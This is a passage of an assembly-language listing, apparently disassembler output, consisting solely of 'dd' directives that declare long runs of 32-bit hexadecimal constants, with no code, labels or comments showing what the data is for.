		dd 2A5D3498h, 7D20DFDDh, 5E1CCBE6h, 0EA6F6BF1h,	0DE8BD21Bh
		dd 0FAA0F75Bh, 0E986928h, 9E13E916h, 0BD82DCEFh, 780905F5h
		dd 9C115D56h, 0DA227F05h, 5099D819h, 0D047365Fh, 0D604BF27h
		dd 91F4943Eh, 20C101ABh, 7C01DF9Bh, 0CB81271Fh,	6FFC1043h
		dd 0BF8630E9h, 5C25484Ah, 3948467Ch, 0C0757DBBh, 8810799Dh
		dd 51017F05h, 0B1024B9h, 124DDCC2h, 55C2B96Fh, 4F2B3050h
		dd 6AFBF782h, 56FE243Ch, 0D3BD045Ah, 6930F3EFh,	214D8218h
		dd 8359DFD8h, 0D6CEE9C2h, 27527F5h, 0D792E8F7h,	0A7B4D598h
		dd 0E3092297h, 692FF494h, 0FD49E2Ah, 0E0A0B41h,	81F7E931h
		dd 0F7E9DA00h, 0BD793168h, 0D9EB43C0h, 64063909h, 82F35829h
		dd 0BAC14108h, 4A685674h, 3512F6AEh, 0D1EFA397h, 0B5A9A6h
		dd 0B04AB652h, 5BA3F4E9h, 0C29C282Dh, 76E02705h, 5DAA89FAh
		dd 0CD6AC102h, 241DE97Ah, 0BC77B0DFh, 2746E527h, 4C3244B8h
		dd 29D5465h, 45C0BF57h,	48E9F782h, 0EC2F43D6h, 0FD334199h
		dd 681189D7h, 252C7EAFh, 91E32DDh, 4B10F584h, 6BB47D99h
		dd 5C31DDDAh, 76133F7Ah, 0C62A2BF3h, 0D002F08Fh, 955F9AE2h
		dd 73620099h, 0E91F3307h, 0D22AF126h, 92777AFh,	0B3BB3C50h
		dd 0C560C041h, 469E415Ah, 1307AAA8h, 4A2EE401h,	0AB6290E2h
		dd 80F5C94h, 82EBE4Eh, 2D092982h, 0C95ADD3Dh, 5C1E96EEh
		dd 25B962FCh, 5AA22CC7h, 0B77A03F8h, 0C2314219h, 800D093h
		dd 0CA819248h, 4E2D5DF7h, 2842A91Eh, 0C05EA006h, 0F6AA4B84h
		dd 0E123503Ch, 5F0948BCh, 0AB1F2487h, 0AC6BD8E1h, 916AA1E0h
		dd 939DA22Eh, 0E125C521h, 8F8D3C3Eh, 0EE1D5B60h, 7BCE457Ch
		dd 0C4C13054h, 4EFDB816h, 0D52D0C2Dh, 2770A02Bh, 0C6EA0506h
		dd 7D0CF17h, 136C74C0h,	681F6F29h, 0D8CCB708h, 9E987740h
		dd 2AF12F20h, 1265F7C9h, 62C03415h, 0C0478F23h,	8053CE5Ah
		dd 0EBBA4CE9h, 40D6F725h, 95465EFAh, 47853856h,	1AC06564h
		dd 5EFD12C6h, 0FE5B05FBh, 97A937E8h, 0F84951BEh, 97622B4Ch
		dd 25A47FF5h, 0E4580CAh, 2F6B3544h, 0A0E674EAh,	2690C83h
		dd 161826C0h, 7F1A337Bh, 0D1CDA01h, 14061C08h, 43E2955Ah
		dd 0FD6A9475h, 0D85AD5F6h, 0FF9FB51Ch, 53BE0462h, 0BB39BD22h
		dd 0E0003D89h, 65F69A18h, 0E03BDC62h, 0FB905DBEh, 124BCF01h
		dd 5FF8097Ch, 0C6F2CDFDh, 56817ABh, 71086143h, 0E7E0156Ch
		dd 886440A2h, 65EAC356h, 0B0D0549Ch, 5E805B66h,	4ADAACF7h
		dd 143249ABh, 4D4A08F0h, 230F1E4h, 893CF927h, 0B15D5DEBh
		dd 0D33B3401h, 74E8C641h, 0CC77EC7h, 5324AB21h,	43A6E5FEh
		dd 0E78498E1h, 410176F1h, 576DAE45h, 12E5BE9h, 17045A75h
		dd 2C617E52h, 702BC520h, 5BDD3128h, 85B9D695h, 0B9D8573Bh
		dd 30AE4B77h, 6DE9D7AAh, 2DEBB75Ah, 548EF881h, 0A992E4B4h
		dd 307189FEh, 0CEB5C960h, 2B2B028h, 610F1356h, 3742D901h
		dd 25D80812h, 447B6B27h, 5E67F0C8h, 0BA9FD507h,	0AD224Bh
		dd 0CC7CA8D6h, 89D8950Eh, 7A435331h, 0E82BD53Bh, 0CABBB084h
		dd 59DF0942h, 8DF6F387h, 266A9008h, 3311A4h, 0B863FE05h
		dd 0D0C8010Fh, 0A84A08A6h, 0D5924F3h, 4AE6FB15h, 0A0002734h
		dd 23A05626h, 94451CBEh, 5D0A7D5h, 6051519Fh, 76BE5DF8h
		dd 15AEAFCh, 7250F18Fh,	0FD071E1Ah, 0E9F84462h,	4652BBC2h
		dd 694C2EA8h, 0FC583A1Fh, 0D184D5D3h, 59580315h, 0A107E268h
		dd 53FC882Fh, 0BE42E3CDh, 0F68001BAh, 3E803C35h, 0D2C81B7Bh
		dd 3425E09Dh, 0C796047h, 0B5A7D556h, 0E539E913h, 58C38BBEh
		dd 42B245B0h, 55DC01CEh, 0DA59C889h, 270F144Fh,	3218DF5Bh
		dd 45C36B16h, 0BA781226h, 609E084h, 5CDB0CBFh, 0F83FE223h
		dd 4277786Bh, 0A23AF202h, 8701C403h, 869A89B8h,	0E91C0B5Bh
		dd 0A0B4ADh, 7D0E241Dh,	0AE2F9CC9h, 0EF2DC02Bh,	36F300Fh
		dd 394A3548h, 74D858A4h, 0C75E3F1Ah, 824AC7B2h,	0F97DA5A2h
		dd 16F189FFh, 0BB89D279h, 28945BC6h, 4F75032Bh,	4DE97CAEh
		dd 0DBA0D58Eh, 0EF904670h, 0AA80824Fh, 9707E1C1h, 75AD3CD6h
		dd 7A98C580h, 2D04918Ah, 2E316EB2h, 74051E8h, 5EFB9D59h
		dd 8B2F7524h, 0A4447D66h, 77859E5Fh, 7D92E6BAh,	185AFC2Dh
		dd 0A8A0608Ch, 1255EEF2h, 941E287Dh, 660812FEh,	25F01836h
		dd 13EB009h, 42FF05CEh,	12D815F4h, 0EC543B4Dh, 307A07CAh
		dd 0F7673DCDh, 13A912E3h, 0BDE3639Ch, 36D10009h, 0EA0D46C9h
		dd 3EA70770h, 0C00CE635h, 22632D01h, 0E959811Dh, 3BE3EA15h
		dd 90949B55h, 77BDB20Eh, 0BC0E4F6Eh, 7E1B2801h,	0A0C8792Fh
		dd 88E9120Ch, 4C43E24Ch, 5DF03755h, 1C253EFh, 0FBEA5FB9h
		dd 0C7FE827Dh, 0AB58044Ah, 13C763A1h, 0BC5E43F8h, 4AA8E2DDh
		dd 0C9D0583Ch, 993660Ah, 775DF4F9h, 0C8AF1F8Dh,	80E48C16h
		dd 80C54B29h, 3A1E4ECDh, 18F8505Eh, 0F288B57Ch,	3EE9050Bh
		dd 0E08D8DE3h, 9C9FDBA7h, 4F37FC70h, 0D0029D2h,	36C63007h
		dd 5EB5D770h, 88C2F235h, 9DAB1ED7h, 4492ED9h, 98BBC345h
		dd 6444491Fh, 476040AAh, 0F3FE8728h, 0BBC2C24Fh, 2703DC40h
		dd 0BB0205F0h, 895B282Ah, 0BA88E1C5h, 0D6D82625h, 6FF495F9h
		dd 1707BB40h, 0E3D9FA48h, 40B92E7Fh, 5A97ECDDh,	0FFC727A6h
		dd 60CF5DBh, 78F61D01h,	0B69129A4h, 0C6884B6h, 0C4A5E853h
		dd 5818A9DAh, 9ABF857Ah, 0EA517DA2h, 6047EB81h,	0E901234Fh
		dd 2F6578CBh, 85CE5156h, 0B8729568h, 7C3C185h, 632F59F6h
		dd 794E6485h, 945099FCh, 6517243Bh, 77ED1FC6h, 8E56003h
		dd 104C130Eh, 0D9A92E52h, 76916861h, 0B910A976h, 82B52810h
		dd 0FE59EB01h, 323468C3h, 0AAB0E251h, 5DD2BF03h, 0AF55C857h
		dd 688A3B73h, 1419CF03h, 1800244Dh, 9417C5B6h, 17A9BE56h
		dd 0B97FF945h, 0A8FD3481h, 1BE0B12h, 3E48E251h,	801A8219h
		dd 574A4967h, 806D5CAh,	0C783E159h, 1C6F09F8h, 8B6003BAh
		dd 678DF5F3h, 326A4846h, 8FC03427h, 0B10419B4h,	58E1282Dh
		dd 74D102ABh, 0FA6B73E9h, 0B551D8E0h, 0B753220Eh, 92967F6Fh
		dd 61B0BC82h, 96E4FEB0h, 74EEBF44h, 1360CB4Ch, 8C9049C3h
		dd 60192E22h, 0BDB0C4Fh, 0E97829BAh, 0D62D7996h, 0FC74F2E9h
		dd 307DF689h, 13AEE403h, 431F230h, 0F7B7D3C9h, 24424ED5h
		dd 0A57EBE68h, 6582521Eh, 0F0530795h, 5E5F4D70h, 0CAFE5B64h
		dd 78F6BA12h, 448A8C10h, 0C85B3097h, 122EC4B2h,	0ECDFCBCFh
		dd 9C6EA9AFh, 0BA3EC52Ah, 0F5E8CB74h, 5154D1B2h, 0E31C772Dh
		dd 40FFE913h, 68C438E9h, 5BCEFD58h, 3880CFE4h, 0B44CC0C1h
		dd 43E44A24h, 76C1B3EDh, 0C6B79F88h, 7F4B5CD3h,	96D605Eh
		dd 840F09C9h, 0BCFF51F5h, 0A9B025A4h, 68E2B1F6h, 0D4D7937Fh
		dd 0C127E2BEh, 8703E9D9h, 50E89C7Fh, 11286800h,	0D158189Ah
		dd 0D8F701E8h, 7C086B35h, 1FE92BB9h, 43E3E90Bh,	750FB390h
		dd 525C392Fh, 580881B7h, 0ABA5FD68h, 946BB4C9h,	298282C0h
		dd 0BC625E07h, 2154ABh,	285866C2h, 0DC955AD3h, 365B0A8Eh
		dd 0C662BBA5h, 4007A8Fh, 4E9768C8h, 81DE314Eh, 63A93FD7h
		dd 0AC3BD59Eh, 2C77277Dh
		dd 0F5112BD7h, 62C60EE1h, 9EE89251h, 0ABB67185h, 2C1C239Eh
		dd 0B2D7253Bh, 0F51EA4BBh, 43B9E0D4h, 0FEFB3B9Ah, 999142h
		dd 2656D7B9h, 0D2BD277Ah, 1090A7h, 0C0CFFEC2h, 0F78004E7h
		dd 59E92A0Eh, 64FF160Ah, 5810CC49h, 7740D4ECh, 0DD2C0259h
		dd 12B3535Bh, 6F4FE741h, 14DF2D40h, 1BD7AACh, 8553EB25h
		dd 7B76BFE9h, 0EA19AA43h, 87B2E760h, 6F87F6DDh,	130C925h
		dd 7B727F24h, 6E816065h, 0F6891701h, 10E9F029h,	595C9750h
		dd 7849BD31h, 244BF551h, 853168A4h, 921FC175h, 2F59C96Fh
		dd 958EAB04h, 4336602h,	0E9D09375h, 1AA48870h, 1A6C0209h
		dd 0C3551779h, 0A0F5CF6Bh, 0E18B501Dh, 6D6AB14Ah, 0CCFECF80h
		dd 207AC480h, 25D5E74Ch, 8181FF53h, 35F814E9h, 25D2D24Ch
		dd 8FD2D37Ch, 988A6904h, 0CA018B1Dh, 14942B00h,	0E09F747Ch
		dd 9E981ECh, 12D4430Bh,	0FE889276h, 1FD42708h, 601E8226h
		dd 6385F7D2h, 5023910Bh, 0BF5C5FAEh, 7064B328h,	0F1BDC4h
		dd 0ABDF1842h, 0C46148F8h, 12818280h, 41C85FE1h, 77D29DCh
		dd 75050B4Fh, 0CD32ADABh, 7744E240h, 9BBBEFB4h,	0E993A1AEh
		dd 0BB489066h, 83109BDh, 60828146h, 0B782BC11h,	0D9D79F86h
		dd 0BB5360A2h, 0FA185819h, 63985257h, 0FEA44B10h, 27F5B74Eh
		dd 87997602h, 0A550C2DCh, 12EA8984h, 0AFD3095Dh, 16EB9F64h
		dd 87F0A94Bh, 80294093h, 1845D53h, 0B2BA9788h, 2F60E0F7h
		dd 0DA0E5051h, 8F3D16B7h, 0DBEC094Dh, 26137A90h, 0C16FDA07h
		dd 6CE207E3h, 73F26438h, 90DF98F3h, 0DB9B6EB3h,	0BFB969C4h
		dd 8107BC40h, 2728DCF2h, 25F639C6h, 82B85D26h, 0F8681608h
		dd 0DA0F5E30h, 2B3026E5h, 5E08B3BEh, 0D9B50820h, 7D201B28h
		dd 6C0D057Ah, 0C00A7903h, 0CAAD7424h, 89AAE0B5h, 0E9400B57h
		dd 155D9499h, 4A97A27Ch, 0C39CC557h, 700093E4h,	817C632Dh
		dd 51F8010Ah, 0C57C0705h, 542F0CB1h, 0F441C074h, 5EBD4960h
		dd 498296A5h, 0DA7E550Fh, 0FFFDE25Ah, 0AFE97710h, 0DD590B97h
		dd 5E9798C7h, 13EACABFh, 27A428E1h, 38A802EDh, 58591830h
		dd 7ACC0940h, 0E94E1106h, 3F6190E6h, 0F89817F5h, 688E323Fh
		dd 0E93A2E05h, 65A3CFADh, 10FD9A18h, 0FC78885Ah, 2822B35Dh
		dd 9D309B42h, 0EBC351A5h, 0F7472DE2h, 0F24E80F7h, 5BA6275Ah
		dd 1724EC4Bh, 0B2BCB317h, 9DA435A1h, 1BC94661h,	2C9B5F13h
		dd 53AA2A5Eh, 768BBC76h, 93BC504Fh, 1C2B7007h, 62C2C01Fh
		dd 8058B8D3h, 78AA05CFh, 0B1BB342Fh, 5A08034Ah,	18EBC9F8h
		dd 79081E2Fh, 8C2866D4h, 3E42BE5h, 244E9C10h, 306805A5h
		dd 0A727A8E2h, 8F05D6BBh, 4D05DE9h, 0D477C168h,	0AC859E83h
		dd 0C486CBEAh, 8BFA315Ch, 0BC050115h, 0E90C1541h, 453F65F5h
		dd 88DCFF63h, 764A8D8Bh, 0E5070077h, 99CD80E0h,	83DD5EF6h
		dd 0C5C8ED24h, 3A4AE971h, 1B75EB16h, 0F6A10BAAh, 0E564895Dh
		dd 218388A9h, 3BC6BB01h, 0C3E53D1Fh, 4F522D60h,	0C655B9A4h
		dd 17BAAF35h, 0E0C18915h, 0DB54EF6Ch, 8AC9ECADh, 660961C6h
		dd 8E6F8725h, 5F873D4Dh, 0AF0792C9h, 29023504h,	32765BDFh
		dd 5D7BBE01h, 36302350h, 2A4A1FFAh, 9F793CBh, 85C0D227h
		dd 3148AFBBh, 0F1892D0Ch, 60D769FEh, 46333DCh, 0BBE976D3h
		dd 0ACAAFAEh, 2596553Eh, 0D3CBFD69h, 57B20901h,	902066ADh
		dd 601413D6h, 9002BBA1h, 60DBF74Bh, 2F6E769Ch, 7FD00AA6h
		dd 9837E20Eh, 7C7C043h,	9084BCCh, 0DBE9FB29h, 0FCF30BDDh
		dd 0E88358E6h, 2508D9BCh, 4E9A3A63h, 0D3D73084h, 6A3B8231h
		dd 7283699h, 38685902h,	64547E55h, 24A052DBh, 0D56D0FC7h
		dd 5CA44A06h, 4768FBDAh, 488AC85Ah, 3A87627h, 615F363Bh
		dd 502D0C04h, 12FE0B71h, 0C1CAEBEAh, 0F091AF4Ah, 68A583EBh
		dd 5AE6CC7Dh, 8B35FADFh, 5FF65982h, 0EEB55CBBh,	0C8AA3C32h
		dd 48F829F0h, 3C181F56h, 0BBABBABh, 24404C16h, 0D49C5FABh
		dd 0F2FA902h, 0FBC3BA75h, 177F0822h, 0E408822Ch, 2B90E4Ch
		dd 14002E14h, 0E964B357h, 84D0F5DDh, 39E24FBEh,	5B076883h
		dd 4914572Ch, 1C165899h, 69D1D97Bh, 43311060h, 0BC555017h
		dd 92E83D10h, 0B3BAD3A5h, 20AF585Ch, 62BA057Ch,	9795481Dh
		dd 9258D2DEh, 44026B72h, 5B99F8A5h, 0F79DD31h, 0B1E47DE9h
		dd 4EF72920h, 4F30799h,	0A1CA7E85h, 48BD004Ch, 0B841092Bh
		dd 8131C73Ch, 3C642D5Dh, 0E17E2C35h, 0C107046Ah, 7E904583h
		dd 65EF5AD8h, 0A037C773h, 5E0BBA8Dh, 0A1312742h, 43878B47h
		dd 3D20D1DDh, 134E92E7h, 0EC02D3F3h, 0D9941306h, 0BD2FCCAFh
		dd 4B318240h, 8128BDDDh, 92E9EA01h, 5D0D2828h, 0ED8FD831h
		dd 0FEC4240Ah, 0EF80CF1Eh, 0EB04FD67h, 0D0FEF36h, 0DFA55A0Fh
		dd 0D029AFA2h, 27C53092h, 0CE685180h, 9F4D460Dh, 5747255Eh
		dd 181915C3h, 0A813EFFh, 1B09055Ah, 83296250h, 0FA213634h
		dd 42AEFF16h, 2FEFC5CDh, 441DC3D2h, 0E81A202Ch,	5D0E9C80h
		dd 0F7327F0Ch, 166F10D2h, 0C079FC84h, 7E5C1A1h,	4E2F76BFh
		dd 0C8E9FD81h, 0CF256AB9h, 0AF939206h, 8213255Fh, 0A6BE7B6Eh
		dd 7227DD09h, 797F34DEh, 9366BA1Bh, 32AE0F6Ch, 0B0D26927h
		dd 84409868h, 0C1D13CF7h, 1ED8EA4Ah, 71701528h,	6716FE4Bh
		dd 6064EA11h, 66DBF1AEh, 665C25BAh, 7905904Dh, 8820B77Ch
		dd 0D9B432Ch, 0D809F990h, 50F264BCh, 5BA295D1h,	337D48FEh
		dd 6575E21Fh, 86D78C0Dh, 0C8FBEEE9h, 16300A8Ch,	3DEF0C54h
		dd 0E928093Fh, 49542F8Fh, 0D9800B63h, 6F9C001h,	0C169E1D8h
		dd 0CB28D812h, 0C4BC6B59h, 85ACAFCAh, 0FB5DE821h, 432EB7F5h
		dd 35E5E954h, 81449113h, 51589B44h, 4D33CBBAh, 0EB1C4F4h
		dd 61F0514h, 7CF5C145h,	6A169F35h, 0C2AD47D0h, 0E9D00B96h
		dd 2CC4E0B5h, 9DEAAB83h, 5201DE57h, 0A42E65F7h,	2A8F0974h
		dd 28821159h, 0FD071245h, 94F83425h, 0CBF6AEDEh, 5FA2F75Ch
		dd 0CBC2A9FCh, 0F6CDA89h, 38FD17A4h, 8AA97369h,	575C8302h
		dd 15FEDD69h, 0ABD7C4FBh, 0E85A44F2h, 46E9F0C2h, 8010CF3Dh
		dd 82067C0Fh, 35D45BD6h, 0C2EC257Bh, 0C237D1BDh, 79297F03h
		dd 0BEA2CCB3h, 0A280509Ch, 8122FC03h, 2B1A12EFh, 0F701BA02h
		dd 1B419D40h, 8E741E7Eh, 0E013206h, 0C52FD02Dh,	0F2D8F50Ch
		dd 3C000789h, 6B431E57h, 0D2DC6097h, 0ED83720Ah, 2FE2D420h
		dd 0B85653BFh, 7E472A93h, 8EF7FA30h, 55FA6A1Bh,	5069925Ah
		dd 134EFF25h, 6C43D61Eh, 33033D64h, 417B674h, 0AC38C472h
		dd 3FF0D1Fh, 95C797D4h,	4CB248C8h, 5AD38816h, 0FE1D53ACh
		dd 3E342C3h, 0A774ABE9h, 5B2CEC25h, 0B0DFD72Ah,	5A78E025h
		dd 94B84A4Bh, 65BC2209h, 912B7881h, 0D389F016h,	0B065DEB0h
		dd 0ED2497Ch, 2ABF008Ah, 2E4D1466h, 505E1349h, 69D72C09h
		dd 32F5AEEh, 9A7559C5h,	4AB4EFB5h, 42FA95B8h, 4A8A439Dh
		dd 4D54F9E2h, 97EE9708h, 0D6FE2E3Eh, 55A8B058h,	0E9D09FAh
		dd 0D4DF69AAh, 0BC079760h, 9D0E730Eh, 98F3E9A7h, 5B25AAEFh
		dd 0A601FBA8h, 0B383C91Dh, 1723DF70h, 0F53B6D34h, 5D08035Ch
		dd 3F7AD6CAh, 626CE927h, 30F85F46h, 5C0DC505h, 4ABD693h
		dd 13362362h, 44AF6253h, 62A8429h, 24B65159h, 0AFF86B63h
		dd 0EABFB4D0h, 0AE2FFD21h, 0AEADBB64h, 0F61611F2h, 0FD9EF7Eh
		dd 0C2B1D46Ah, 6F5BD45Bh, 2F79A6h, 59292DF2h, 0ED034B99h
		dd 85A12F4h, 0A36AACCDh, 0E956C11Bh, 0F7C2484Ch, 5F2D7145h
		dd 5455D1B4h, 0D3EC41E0h
		dd 0F8279D5Bh, 88BB3445h, 3FCB5581h, 0F25155C2h, 93BE760Ah
		dd 76A6688Eh, 49F7F9CCh, 85043852h, 0EE1A2C29h,	0FCC2A1D4h
		dd 664E7F9Dh, 30B9F655h, 4F008E26h, 0F3297201h,	0B5FE685Eh
		dd 0E9192FC6h, 0C12DAD11h, 0ABB1562Eh, 0FCE9839Ch, 761ABF62h
		dd 0FE9D9764h, 0D32395FBh, 0BB4A04Bh, 0BBD1140h, 47F60125h
		dd 4A20B10h, 0E9FB0304h, 0FCF790C0h, 2DD1597Bh,	6DEB6801h
		dd 3E5860CDh, 5189E543h, 0D7808C39h, 9E1180Ah, 2E2C106h
		dd 0D94DA00h, 0E912B3EBh, 0C1409EDAh, 0C0322A68h, 515D1F10h
		dd 0C918957h, 265FCA48h, 0A8F783C7h, 31066870h,	21F5F9FEh
		dd 5048E63Fh, 859F0CBCh, 0CFAA513Bh, 0F03128E7h, 93D31C2Dh
		dd 0A92FC207h, 0C626779Fh, 1C267ECFh, 55C988A0h, 784DDB69h
		dd 55977A58h, 0C7F9B5B8h, 41B7D49Fh, 2631AC68h,	22F81018h
		dd 0BA06AE4Fh, 491091D5h, 0FEE45D54h, 0E90990B7h, 1D51C9B0h
		dd 0B1D2D747h, 81537FA4h, 0FFB84E12h, 0B87CFE5Fh, 129E4BE9h
		dd 3C51F04Fh, 11A61C13h, 20E44701h, 0B46FC82Ah,	0C29F0A0Dh
		dd 63EFD549h, 79CCC389h, 0CB0B0B70h, 25B8C55Fh,	0BFD3CC5Fh
		dd 524BEE3Eh, 0C0B568FCh, 0F401119Dh, 0D65E532Fh, 779900BFh
		dd 0BEE93087h, 2A4B656Ch, 0E32E38BBh, 20478F09h, 564064D9h
		dd 2542A4BEh, 405F1673h, 0D0A03916h, 330BC343h,	3E02060Ah
		dd 130B5F0Fh, 54C9FAF6h, 1CF92598h, 8B2DDCE9h, 8C54A759h
		dd 0F53A4072h, 26469537h, 3E2D1690h, 8E53D912h,	0EC1A5145h
		dd 0E941B0C8h, 81C4EE5Eh, 7ED0A5EBh, 96908E8h, 83B8D5Fh
		dd 68D4212Fh, 1F2D45A0h, 77F9657Dh, 0E64F8DA8h,	3029D1A5h
		dd 8D412D7Ah, 0EA688E38h, 0D5952D70h, 11BD0A1Ch, 4D2DEE72h
		dd 0F2ADCD3Bh, 53BA1E40h, 0D51F170Fh, 0C31F3601h, 0C6DF0C39h
		dd 183768B7h, 0C731142h, 0D204592h, 3A410969h, 520957E8h
		dd 34085F08h, 114130Ch,	0EA7861FCh, 2AC6704Bh, 0D8D93617h
		dd 165AFDF0h, 0CC718B68h, 0F741EF32h, 41BBF12Fh, 2FD5D63h
		dd 4F7F604Dh, 643D2C41h, 40123FC0h, 0C47DAC7Dh,	0E7FC532Ch
		dd 3701FFC5h, 79EF81B2h, 1DC87A69h, 99B905C7h, 0F257F993h
		dd 0DAB2965Bh, 4F92CC4h, 49B95D54h, 0EA5FFD84h,	0BA6CB144h
		dd 0BBEA8002h, 933D9AFCh, 0D89E103h, 0FED21292h, 0D2F17856h
		dd 0AF9A016Fh, 2186F8B7h, 0A955C47Ch, 0D9297E16h, 63085010h
		dd 81B5E12Ah, 1A97456Fh, 0BBA901F0h, 2A9D52E9h,	771A7B31h
		dd 5EC9E162h, 0EE127CDBh, 0D69EEFA8h, 0C40DACE2h, 8100E414h
		dd 2B1FCFE5h, 3CAD514Eh, 25C20979h, 0E2003F4Fh,	0FA25972h
		dd 0A12033B0h, 1CB800ABh, 404E6209h, 0CFE66335h, 974948h
		dd 439C2506h, 0C2D17DCh, 2036018Ch, 808064B2h, 886C09F5h
		dd 96FF59EAh, 0A6C720BDh, 5023B9B5h, 80A5EB60h,	5B5CFA88h
		dd 0EBD03021h, 2710D4F3h, 39F82298h, 2C71BABCh,	2F87B77Fh
		dd 2DFCFCF5h, 0EBE633D2h, 0CD5FE1B0h, 1D158E07h, 775054E7h
		dd 0B0A9A4DFh, 69A30BBEh, 0AEEC07A7h, 0E655BF4Ah, 4BFB5F1Dh
		dd 180071C6h, 92E94D2Fh, 54FECA4Ah, 4B008081h, 506B2C39h
		dd 3D7CF9B8h, 25DA4960h, 956D1C8Dh, 0F782D185h,	0AFFD4B26h
		dd 96187D05h, 922A840Fh, 0ABF52D00h, 277D5ED9h,	0BD01D3C5h
		dd 653505B4h, 9A2D7228h, 0EFC07C80h, 0B2FE5002h, 80C4FE07h
		dd 6EBE98E4h, 96CCC508h, 0CFE14284h, 0E5BFB87Ah, 5D964682h
		dd 4427A9D1h, 0AD4A4EA1h, 96F103B6h, 0D954315Eh, 1681AF73h
		dd 0C868D830h, 25092641h, 0A826716Fh, 58960B71h, 0BB764488h
		dd 0C990602h, 803C564Dh, 4B3F85EDh, 702DE92Bh, 62DA7C56h
		dd 6802ACE5h, 0D146EBD4h, 25B47EAFh, 17BCAB60h,	0D1F6E8ADh
		dd 7EA87BEDh, 0C47FAB06h, 411F1828h, 0F2672788h, 57B9009h
		dd 770BCA2Dh, 15B7F87Bh, 84ADD1h, 0C51934C7h, 4E616816h
		dd 0E2DE8C24h, 5C1D4F13h, 4109D9EEh, 0CD63B162h, 54B02B17h
		dd 50796013h, 0A9239BBFh, 2830117Ah, 0A5BA14BCh, 0CB496069h
		dd 16A84B48h, 0BB0BCAECh, 834CAD33h, 0EA4DDB56h, 47220738h
		dd 0D5F6F9A8h, 989C848Ch, 633D0BBDh, 0C8FF40E2h, 2E13A1EBh
		dd 12C8C56Fh, 2DE0A289h, 5AC07651h, 14CB0E86h, 5F6EB627h
		dd 0EF80A580h, 0D5E72888h, 107FD7C7h, 0BF5BE912h, 807F8DFFh
		dd 67267BFAh, 1ECE8119h, 24E131ACh, 15960184h, 8B4E1B95h
		dd 7C50B61Ah, 5F8E0923h, 0C1608EDEh, 84193B51h,	98E95209h
		dd 0C1AACE71h, 0F7D1870Dh, 7F08BBD2h, 0C25AF19Fh, 68091085h
		dd 737768FFh, 0F41C4F7Eh, 0FA41C64Fh, 7CE0AA82h, 8F7D5FBEh
		dd 1E06C67Fh, 72544F3Eh, 0B868CDE3h, 4D135D5Ah,	0C20DEA31h
		dd 0AE2A4A7Ch, 0DEFA5665h, 0DDBF500Ah, 5B148859h, 5C254DCAh
		dd 26F318FFh, 0FE7BD318h, 5A68613Ch, 6CB4457Ah,	79611D55h
		dd 0C91146CBh, 10C1F77Fh, 26694A52h, 7B486626h,	8047EA1Dh
		dd 7A5B0513h, 35072634h, 4B181685h, 960CA551h, 60D66920h
		dd 72EADF0Ah, 0DA5BF8E5h, 16FBDD16h, 0C8A7AD21h, 0E18901CFh
		dd 0F83BBB53h, 4B7E662Bh, 4B241525h, 0F8B2E760h, 0A08E5F39h
		dd 2DE865h, 53505D0Ah, 3052FBE9h, 35E03ACh, 0B52951A5h
		dd 5B08BA10h, 6DB857AAh, 0D0C401E9h, 0A7F72A1Bh, 0E687BB4Bh
		dd 5A0BAC44h, 84E3502h,	0D9621BD4h, 0F5457D82h,	1C420CACh
		dd 11BE00C6h, 509FA654h, 0CF789F8Ah, 5AF37835h,	70A997EAh
		dd 63C55405h, 349234FCh, 58C63116h, 72BF8C57h, 724A8E80h
		dd 0C9F5515Dh, 0B1B66DD7h, 0D4EF81E7h, 84A0E211h, 6D9DB5B1h
		dd 4B8E20BEh, 0B89F9857h, 91261461h, 2360E1D1h,	79FC04DBh
		dd 0DDCE8947h, 0C7466B92h, 4CF9E557h, 0F23ED6D6h, 5F4E787Fh
		dd 7F61FFDEh, 12ED3E05h, 5FC1820h, 0E949DC5Fh, 565B9399h
		dd 3D3439B1h, 0DD7625C6h, 4D01ACA9h, 705048E0h,	0D0CEEA1h
		dd 0C76AB39h, 0A50F17CFh, 1011F38Eh, 0B600B32Fh, 0E2CE80E7h
		dd 776EEC0h, 0E912E1E6h, 3927A820h, 70356B50h, 25C37D01h
		dd 354432CEh, 0A9301800h, 0F7C8B802h, 0FF2C4E86h, 0D9ACBB09h
		dd 0D3163CF3h, 10288A32h, 0C740A546h, 722B2E6h,	6C1703B9h
		dd 0E1C1A232h, 1000D30Ah, 351F6877h, 5BF5E651h,	4604FB40h
		dd 0DEE39EEAh, 0B7F09950h, 0EA5D6E05h, 0DD7A27D3h, 0B8BEA340h
		dd 0DF452124h, 0B960C7C5h, 0B0EB672h, 41E83125h, 6B3D7A8Dh
		dd 0B17D8D12h, 0FBCA7ECEh, 0A7102358h, 0C1017FB2h, 33B6653h
		dd 0F5E3F929h, 0BA5F0800h, 4AF43DB1h, 2F81A152h, 690E0A1h
		dd 7C042D06h, 2C68414Dh, 0BE33507Eh, 860B3B44h,	0D8464E26h
		dd 2F0E4929h, 9775925h,	296DFB1h, 9A60B080h, 406256BDh
		dd 182238F6h, 7D8D495Fh, 631B287Ah, 0D7B79F0Ch,	41977031h
		dd 542CF0FBh, 425067E0h, 10172ECFh, 0ACAD1B58h,	0AE92773h
		dd 0C3F845C3h, 64032027h, 39377F2Dh, 0D0B9FA22h, 0EDC113C0h
		dd 3101BF05h, 1A178FD8h, 0C0016E31h, 0AF044CD9h, 0F594E82h
		dd 50756265h, 0F104E6EEh, 0C009ED2Dh, 0C00AFDCBh, 36E5074Bh
		dd 99EA0805h, 45B2867h,	4BD67A4Eh, 0E76F20F4h, 295A0A40h
		dd 43DC9557h, 772DDF2Ch, 7E92C9B4h, 7A39F20h, 15685F5Bh
		dd 0EE7F0B0Ah, 4D51B77Bh, 744BD3C8h, 25134EB5h,	21E381BDh
		dd 62AE2BF8h, 607D0BDDh, 8A3FE0B8h, 6704B58Fh, 22E9024Ah
		dd 624DFE10h, 42575B6h,	0DC9338A9h, 0EE5BAC24h,	0B09B98Ch
		dd 5E1DA028h, 214F6390h, 7D7DA425h, 0AD289220h,	745E0126h
		dd 0C066F8Dh, 3F1C8428h
		dd 0CEDB8B5Eh, 0B9AE65E1h, 86073A12h, 3A211BCFh, 0AD60D829h
		dd 14AEA681h, 813DD368h, 0CABF57C0h, 164E5643h,	5CFF14ABh
		dd 0D19BB42Dh, 465702DAh, 698727B0h, 6217F166h,	71BEFFC0h
		dd 2FC1DD2Eh, 47ABC356h, 0D2555845h, 6856F3F7h,	4049E083h
		dd 0D42CDA20h, 0F7BD0743h, 0E348E55Dh, 181D10B2h, 0F45FB4Ah
		dd 6CF8ED78h, 2F5B68E0h, 0E916BB74h, 0EF5F57Ch,	1F7BBFDDh
		dd 6AFB4A41h, 1C02A719h, 0E1CC8F5Fh, 489D8E2Fh,	82DBFB4Ch
